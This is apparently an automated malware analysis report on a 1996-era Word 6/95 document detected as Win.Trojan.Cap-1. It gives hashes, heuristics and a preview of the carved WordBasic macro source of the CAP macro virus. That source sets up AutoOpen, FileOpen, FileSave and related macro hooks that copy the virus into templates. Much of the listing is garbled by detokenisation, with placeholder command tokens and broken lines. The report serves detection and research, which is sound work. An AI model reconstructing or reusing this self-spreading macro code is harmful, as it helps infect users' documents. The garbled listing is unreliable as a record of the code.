Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ba59b03dd24aee5…

MALICIOUS

Office (OLE)

9.0 KB First seen: 2014-02-03
MD5: 7280dcb748206b77929a5efd87317195 SHA-1: 32de85bc41b35f6f2fd9d9e9b3e2170b6feaf147 SHA-256: 5ba59b03dd24aee509896a75e8d4acfb709e1418725a02dc61d90aeb13a31683
102 Risk Score

Heuristics 3

  • ClamAV: Win.Trojan.Cap-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Trojan.Cap-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Recovered legacy WordBasic macro source info OLE_LEGACY_WORDBASIC_MACRO_SOURCE
    The Word 6.0/95 document stores tokenised WordBasic macros in the WordDocument stream rather than as a modern VBA project, so VBA source extraction cannot see them. The macro source was detokenised and carved so its identifiers, string literals (file paths, URLs, registry keys, message text) and comments are available for review and signature scanning.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
wordbasic_macros.txt wordbasic-macro analyzer.wordbasic (detokenised Word 6/95 WordBasic macro source) 2322 bytes
SHA-256: a9e963daa874aca9bfc63b021a88d69aad2b99c42461913a5818c3a3ae8630ed
Preview script
First 1,000 lines of the extracted script
, , = = = = = = = , = , 20325 21349 29551 17253 29551 21349 19827 21605 29793   25961
25964 25961 = =  
MAIN
REM C.A.P: Un virus social.. y ahora digital..
REM "j4cKy Qw3rTy" (jqw3rty@hotmail.com).
REM Venezuela, Maracay, Dic 1996.
REM P.D. Que haces gochito ? Nunca seras Simon Bolivar.. Bolsa !
M$ 9
S F$
, -
S$ = "F%"
D$ = "Macro"
C$ = "Close"
B$ = "Open"
A$ = "File"
M$ 0 = "CAP"
M$ 3 = A$ = C$
M$ 5 = A$ = "Save"
M$ 2 = A$ = B$
M$ 9 = A$ = "Templates"
A$ = "Auto"
M$ 6 = M$ 5 = "As"
M$ 1 = A$ = B$
M$ 8 = A$ = "Exec"
M$ 4 = A$ = C$
M$ 7 = "Tools" = D$
M = 0
N = 0
T = 1 0 1
I = @cmd80b7 T 1 1
B$ = @cmd80b8 I , T
S$ = @cmd8008 @cmd80be B$ , 2
J = 0 9
B$ = M$ J
T N = N = 1   M = M = 1
J = 9
@cmd00d7 = B$ , = T = T = 1 ,
F$
M 10 N
@cmd00d1 = 0 , = 1 , = 1 , = "10"
I = 0 9
I 7 K = 1   K = 0
@cmd80c2 F$ = ":" = M$ I , M$ I , K
B$ = S$ = @cmd80ea @cmd8007 @cmd8006 @cmd800a @cmd80be M$ 7 , 3 = 1
@cmd00d7 = M$ 7 , = 1 , = B$ ,
A$ = @cmd8140 0 , 1
I = @cmd80b7 1 1 1
J = 0
B$ = @cmd80b8 I , 1
@cmd80be B$
S$ = "O"
J = 2
S$ = "C"
J = 3
S$ = "S"
J = 5
S$ = "SA"
J = 6
J
C$ = @cmd813e A$ , 0 , J
@cmd8008 @cmd80af C$ , @cmd8003 M$ J @cmd80af M$ J @cmd8008 C$ , 1 "(" @cmd80c2 F$ = ":" = B$ , C$ , K
T = 1
I = 0 1
I J = 1   J = 6
A$ = @cmd8140 I , J
J = @cmd8141 A$ , I 1
M = J 1 1
@cmd800f @cmd813e A$ , I , M , D$
I
B$ = @cmd813e A$ , I , M 2
@cmd80af B$ @cmd80af M$ 9 @cmd8008 B$ , 1 "(" @cmd80c2 M$ 9 , B$ , K
M = M = 1
T = M M 1 1
T 3 @cmd01b1 = I , + = T , = @cmd813e A$ , I , T , = = A$ , , = 0
M = 1
T =
T
I = 6 J
@cmd8008 @cmd813e A$ , 1 , I , 1 = "(" @cmd8008 @cmd813e A$ , 1 , I 2 , 1 = "("
T = 1 3 2
B$ = @cmd813e A$ , 1 , I T
@cmd8008 B$ , 1 "(" @cmd80c2 M$ T = 6 , B$ , K
I = J
D @cmd0054
D
N 10 D = 1 D = 0 D = 6
D = 1
I = @cmd80b7 0 1 1
B$ = @cmd80b8 I , 0
B$ M$ 7 K = 1   K = 0
@cmd80c2 B$ , F$ = ":" = B$ , K
@cmd0054 D
Err = 0
FO
, -
@cmd80d6
, - * E
D @cmd0050
D
D
@cmd0050 D
S D
FC
, -
@cmd80d6
S @cmd8025
@cmd80a0
FS
, -
@cmd80d6
, - * F
@cmd0053
S @cmd8025
FSA
, -
@cmd80d6
, - * G
D @cmd0054
D
D 1
D
@cmd0054 D
S D
T = @cmd803e
W$ = D
@cmd004f = @cmd8025
, - * H
D
D = W$
D
@cmd0054 D
, - * G
S D
T @cmd803e T = T = 1
@cmd80de T
@cmd80a0 2
MAIN
, -
@cmd80d6 0
CAP
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP @cmd8025
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
MAIN
, -
CAP
MAIN
, -
CAP
MAIN
, -
CAP